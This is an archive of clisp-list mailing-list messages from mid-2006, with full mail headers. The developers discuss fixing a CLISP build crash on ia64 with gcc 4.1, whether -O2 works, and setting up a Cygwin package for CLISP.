http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: Re: [clisp-list] Fix for bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Jul 2006 21:31:31 -0000 On Tue, Jul 25, 2006 at 04:08:28PM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2006-07-25 18:26:11 +0200]: > > > > I've done some bug hunting and now I can provide a real fix for the > > crash caused by the appended images on lisp executables. > > thanks, committed. > > does CLISP work now on ia64 with -O2? > if yes, I will revert the -O0 patch. It does if I skip the two lines of tests/streams.tst I've mentioned. > > Now at least the patch you have requested. I've applied the 40 lines > > of the patch send in the last mail to ffcall/avcall/avcall.h.in and > > ffcall/callback/vacall_r/vacall_r.h.in and rerun the compiler as > > described ffcall/avcall/avcall-ia64.c to create a new > > ffcall/avcall/avcall-ia64.s with gcc 4.1. > > could you please upload this patch to > http://sourceforge.net/tracker/?func=add&group_id=1355&atid=301355 > please include the names of the authors and a ChangeLog entry. > thank you very much! Done see http://sourceforge.net/tracker/index.php?func=detail&aid=1528895&group_id=1355&atid=301355 Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From reini.urban@gmail.com Sat Jul 29 09:22:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G6ra7-0002jZ-Ik for clisp-list@lists.sourceforge.net; Sat, 29 Jul 2006 09:22:27 -0700 Received: from nf-out-0910.google.com ([64.233.182.184]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G6ra4-0004ML-Rh for clisp-list@lists.sourceforge.net; Sat, 29 Jul 2006 09:22:27 -0700 Received: by nf-out-0910.google.com with SMTP id m19so94036nfc for ; Sat, 29 Jul 2006 09:22:23 -0700 (PDT) Received: by 10.78.157.8 with SMTP id f8mr137838hue; Sat, 29 Jul 2006 09:22:23 -0700 (PDT) Received: by 10.78.201.13 with HTTP; Sat, 29 Jul 2006 09:22:23 -0700 (PDT) Message-ID: <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> Date: Sat, 29 Jul 2006 18:22:23 +0200 From: "Reini Urban" Sender: reini.urban@gmail.com To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> X-Google-Sender-Auth: acf13ed44f1f04b0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Jul 2006 16:22:27 -0000 I'll give it a try. 2006/7/27, Sam Steingold : > so, who volunteers to maintain the clisp cygwin package? > > > * Kelly Jeglum [2006-07-19 15:51:40 -0500]: > > > > I'm also a Cygwin user - an extreme novice though. > > Learning a lot about building clisp on cygwin by the emails sent back a= nd > > forth. > > > > Kelly Jeglum > > > > -----Original Message----- > > From: Steven E. Harris [mailto:seh@panix.com] > > Sent: Wednesday, July 19, 2006 2:37 PM > > To: clisp-list@lists.sourceforge.net > > Subject: Re: [clisp-list] any cygwin users here? > > > > Sam Steingold writes: > > > >> I cannot send this message to a cygwin list, it is rejected as spam. > >> after 9 attempts, I gave up. > > > > I've had the same problem with that list a couple of years ago, and saw > > another person suffering similarly last week.=B9 The list managers are > > unforgivable self-righteous on these matters. > > > > But yes, you do have a Cygwin-related audience here. > > > > > > Footnotes: > > =B9 http://thread.gmane.org/gmane.os.cygwin/79786 > > -- > Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bord= eaux) > http://jihadwatch.org http://thereligionofpeace.com http://camera.org > http://memri.org http://ffii.org http://dhimmi.com http://palestinefacts.= org > The paperless office will become a reality soon after the paperless toile= t. > > ------------------------------------------------------------------------- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to share y= our > opinions on IT & business topics through brief surveys -- and earn cash > http://www.techsay.com/default.php?page=3Djoin.php&p=3Dsourceforge&CID=3D= DEVDEV > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > --=20 Reini Urban http://phpwiki.org/ http://murbreak.at/ http://spacemovie.mur.at/ http://helsinki.at/ From rurban@x-ray.at Sat Jul 29 18:00:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G6zfH-0003EY-Ky for clisp-list@lists.sourceforge.net; Sat, 29 Jul 2006 18:00:19 -0700 Received: from lb01nat13.inode.at ([62.99.145.13] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G6zfF-0007rk-7m for clisp-list@lists.sourceforge.net; Sat, 29 Jul 2006 18:00:19 -0700 Received: from [62.99.252.218] (port=7780 helo=[192.168.1.3]) by smartmx-11.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1G6zf5-0000Ew-9P for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 03:00:07 +0200 Message-ID: <44CC049E.9040401@x-ray.at> Date: Sun, 30 Jul 2006 03:00:14 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060721 SeaMonkey/1.0.3 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> In-Reply-To: <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Jul 2006 01:00:20 -0000 Reini Urban schrieb: > I'll give it a try. > > 2006/7/27, Sam Steingold : >> so, who volunteers to maintain the clisp cygwin package? Hi, I assume you didn't build pari-2.3.0 lately: cpari.o:cpari.c:(.text+0x171): undefined reference to `_init_opts' cpari.o:cpari.c:(.text+0x1d3): undefined reference to `_freeall' How should those two be named? In the meantime I prepared proper cygwin packages for fcgi, libsigsegv and pari to help future builds from source. Including postgresql is also easier now: just libpq4 and libpq-devel is needed. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From rurban@x-ray.at Sun Jul 30 08:16:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7D1R-00082e-Dl for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 08:16:05 -0700 Received: from lb01nat09.inode.at ([62.99.145.9] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G7D1O-0006VH-PF for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 08:16:05 -0700 Received: from [62.99.252.218] (port=7114 helo=[192.168.1.3]) by smartmx-09.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1G7D1G-0004US-8c for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 17:15:54 +0200 Message-ID: <44CCCD3B.7050201@x-ray.at> Date: Sun, 30 Jul 2006 17:16:11 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060721 SeaMonkey/1.0.3 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> In-Reply-To: <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Jul 2006 15:16:05 -0000 Reini Urban schrieb: > I'll give it a try. > > 2006/7/27, Sam Steingold : >> so, who volunteers to maintain the clisp cygwin package? Hi, I've converted the simple shell script to a complicated cygport environment, added fastcgi, removed pari and the package is announced at the cygwin list. libsigsegv is accepted and uploaded as new package, fcgi and pari hopefully soon. I need some more testing with fcgi and apache2. Later on I will have some patches for the cygwin specific build step, adding some requires to the setup.hint and to the README. I see the main rationale for a cygwin package in as much as possible modules, in comparison to mingw, where performance is best. >>> Sam Steingold writes: >>> >>>> I cannot send this message to a cygwin list, it is rejected as spam. >>>> after 9 attempts, I gave up. >>> I've had the same problem with that list a couple of years ago, and saw >>> another person suffering similarly last week.¹ The list managers are >>> unforgivable self-righteous on these matters. >>> >>> But yes, you do have a Cygwin-related audience here. >>> >>> Footnotes: >>> ¹ http://thread.gmane.org/gmane.os.cygwin/79786 -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From sds@podval.org Sun Jul 30 08:44:30 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7DSw-0001xD-5C for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 08:44:30 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7DSu-0003Ao-Ly for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 08:44:30 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J38005AQ3Q10W00@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 30 Jul 2006 11:44:26 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 778D221E08E; Sun, 30 Jul 2006 11:44:21 -0400 (EDT) Date: Sun, 30 Jul 2006 11:44:20 -0400 From: Sam Steingold In-reply-to: <44CCCD3B.7050201@x-ray.at> To: clisp-list@lists.sourceforge.net, Reini Urban Mail-followup-to: clisp-list@lists.sourceforge.net, Reini Urban Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> <44CCCD3B.7050201@x-ray.at> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Jul 2006 15:44:30 -0000 Thanks Reini for taking over! > I see the main rationale for a cygwin package in as much as possible > modules, in comparison to mingw, where performance is best. OK. please feel free to create new modules as well. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://honestreporting.com http://ffii.org http://thereligionofpeace.com http://dhimmi.com Of course, I haven't tried it. But it will work. - Isaak Asimov From rurban@x-ray.at Mon Jul 31 09:32:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7ahG-0007XG-AK for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 09:32:50 -0700 Received: from lb01nat15.inode.at ([62.99.145.15] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G7ahE-0006u3-Nf for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 09:32:50 -0700 Received: from [62.99.252.218] (port=5184 helo=[192.168.1.3]) by smartmx-13.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1G7ah6-00045G-Uz for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 18:32:41 +0200 Message-ID: <44CE30B3.5070304@x-ray.at> Date: Mon, 31 Jul 2006 18:32:51 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060721 SeaMonkey/1.0.3 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> <44CCCD3B.7050201@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jul 2006 16:32:50 -0000 Sam Steingold schrieb: > Thanks Reini for taking over! > >> I see the main rationale for a cygwin package in as much as possible >> modules, in comparison to mingw, where performance is best. > > OK. > please feel free to create new modules as well. Besides clx, oracle and matlab: Dan's win32 is on my wishlist for years. (since 2002 exactly) The final motivation to get rid of perl Win32-GUI and python wx. Will be ready today. Do you need the binary package at sf.net also? Would make no sense to me. -- Reini Urban From pvaneynd@debian.org Mon Jul 31 11:31:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7cYV-0001ec-HZ for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 11:31:55 -0700 Received: from out2.smtp.messagingengine.com ([66.111.4.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7cYT-0007OM-6E for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 11:31:55 -0700 Received: from frontend3.internal (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id D02B6D92D1D; Mon, 31 Jul 2006 14:31:50 -0400 (EDT) Received: from heartbeat1.messagingengine.com ([10.202.2.160]) by frontend3.internal (MEProxy); Mon, 31 Jul 2006 14:31:54 -0400 X-Sasl-enc: UaUtVA2YpVygeBq/EWydObXACb3etmbo+/Vq5KbdHGRS 1154370714 Received: from sharrow (unknown [212.224.151.122]) by mail.messagingengine.com (Postfix) with ESMTP id 2F7147760; Mon, 31 Jul 2006 14:31:53 -0400 (EDT) From: Peter Van Eynde To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Date: Mon, 31 Jul 2006 20:31:40 +0200 User-Agent: KMail/1.9.3 References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> In-Reply-To: Organization: Debian MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200607312031.42743.pvaneynd@debian.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jul 2006 18:31:56 -0000 Alle Friday 21 July 2006 15:22, Sam Steingold ha scritto: > >> Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and > >> removing the -O option makes the build work. > >> do you concur? > > > > Just tried that, > > Peter, doest 2.39 work for you? Sorry for the delay, I was working on getting 2.39 into some shape. The debian rules file I used can be found here: http://cl-debian.alioth.debian.org/repository/pvaneynd/clisp/debian/rules The build on ia64 was sucessfull, a log can be seen here: http://buildd.debian.org/fetch.php?&pkg=clisp&ver=1%3A2.39-1&arch=ia64&stamp=1154084704&file=log&as=raw > > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc > > does not help (without this patch the minitests check fails). > > what's that patch? At the moment the build script does not run any tests, should it? Don't they generate false positives like sbcl? Groetjes, Peter -- signature -at- pvaneynd.mailworks.org http://www.livejournal.com/users/pvaneynd/ "God, root, what is difference?" Pitr | "God is more forgiving." Dave Aronson| From sds@podval.org Mon Jul 31 16:48:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7hUu-0003jj-41 for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 16:48:32 -0700 Received: from mta10.srv.hcvlny.cv.net ([167.206.4.205]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7hUs-0005t9-Mf for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 16:48:32 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta10.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J3A001A6KRHCWE0@mta10.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 19:47:41 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 3A44F21E08E; Mon, 31 Jul 2006 19:48:23 -0400 (EDT) Date: Mon, 31 Jul 2006 19:48:22 -0400 From: Sam Steingold In-reply-to: <44CE30B3.5070304@x-ray.at> To: clisp-list@lists.sourceforge.net, Reini Urban Mail-followup-to: clisp-list@lists.sourceforge.net, Reini Urban Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> <6910a60607290922r595204bck9adb617a33f211e5@mail.gmail.com> <44CCCD3B.7050201@x-ray.at> <44CE30B3.5070304@x-ray.at> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jul 2006 23:48:32 -0000 > * Reini Urban [2006-07-31 18:32:51 +0200]: > > Will be ready today. Do you need the binary package at sf.net also? > Would make no sense to me. to me neither. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://honestreporting.com http://memri.org http://thereligionofpeace.com http://ffii.org http://camera.org http://iris.org.il Murphy's Law was probably named after the wrong guy. From sds@podval.org Mon Jul 31 16:51:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7hXs-0003zc-EF for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 16:51:36 -0700 Received: from mta10.srv.hcvlny.cv.net ([167.206.4.205]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7hXq-0004po-1y for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 16:51:36 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta10.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J3A00M0YKWKCFI0@mta10.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 31 Jul 2006 19:50:45 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 2369B21E08E; Mon, 31 Jul 2006 19:51:27 -0400 (EDT) Date: Mon, 31 Jul 2006 19:51:27 -0400 From: Sam Steingold In-reply-to: <200607312031.42743.pvaneynd@debian.org> To: clisp-list@lists.sourceforge.net, Peter Van Eynde Mail-followup-to: clisp-list@lists.sourceforge.net, Peter Van Eynde , "Dr. Werner Fink" Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: "Dr. Werner Fink" Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jul 2006 23:51:36 -0000 Peter & Werner, please tell me, does CLISP build on ia64 with gcc -O2? IOW, is this patch necessary: 2006-07-14 Peter Van Eynde fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64 * makemake.in (XCFLAGS) [ia64]: -O0, not -O2 thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://thereligionofpeace.com http://camera.org http://mideasttruth.com http://palestinefacts.org http://honestreporting.com Murphy's Law was probably named after the wrong guy. From werner@suse.de Tue Aug 01 03:00:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7r3N-0002ki-Tu for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 03:00:46 -0700 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G7r3L-0002ok-Ef for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 03:00:45 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 8D5DAEF33; Tue, 1 Aug 2006 12:00:28 +0200 (CEST) Date: Tue, 1 Aug 2006 12:00:27 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net, Peter Van Eynde Message-ID: <20060801100027.GA509@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Peter Van Eynde References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 10:00:46 -0000 On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote: > Peter & Werner, > please tell me, does CLISP build on ia64 with gcc -O2? > IOW, is this patch necessary: > > 2006-07-14 Peter Van Eynde > > fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64 > * makemake.in (XCFLAGS) [ia64]: -O0, not -O2 This is what our build system says: Job: d127-werner-35 Package: clisp Distributions: - ia64: succeeded with `-O2' overwritten with src/makemake.in. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From lisp-clisp-list@m.gmane.org Tue Aug 01 06:31:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7uLT-00044a-Oz for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 06:31:39 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G7uLR-0000JB-Am for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 06:31:39 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1G7uLE-0000ED-Ro for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 15:31:24 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 01 Aug 2006 15:31:24 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 01 Aug 2006 15:31:24 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 01 Aug 2006 09:31:09 -0400 Lines: 29 Message-ID: <44CF579D.1020000@gnu.org> References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> <20060801100027.GA509@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.4 (X11/20060614) In-Reply-To: <20060801100027.GA509@wotan.suse.de> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 13:31:40 -0000 Dr. Werner Fink wrote: > On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote: >> Peter & Werner, >> please tell me, does CLISP build on ia64 with gcc -O2? >> IOW, is this patch necessary: >> >> 2006-07-14 Peter Van Eynde >> >> fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64 >> * makemake.in (XCFLAGS) [ia64]: -O0, not -O2 > > This is what our build system says: > > Job: d127-werner-35 > Package: clisp > Distributions: > - ia64: succeeded > > with 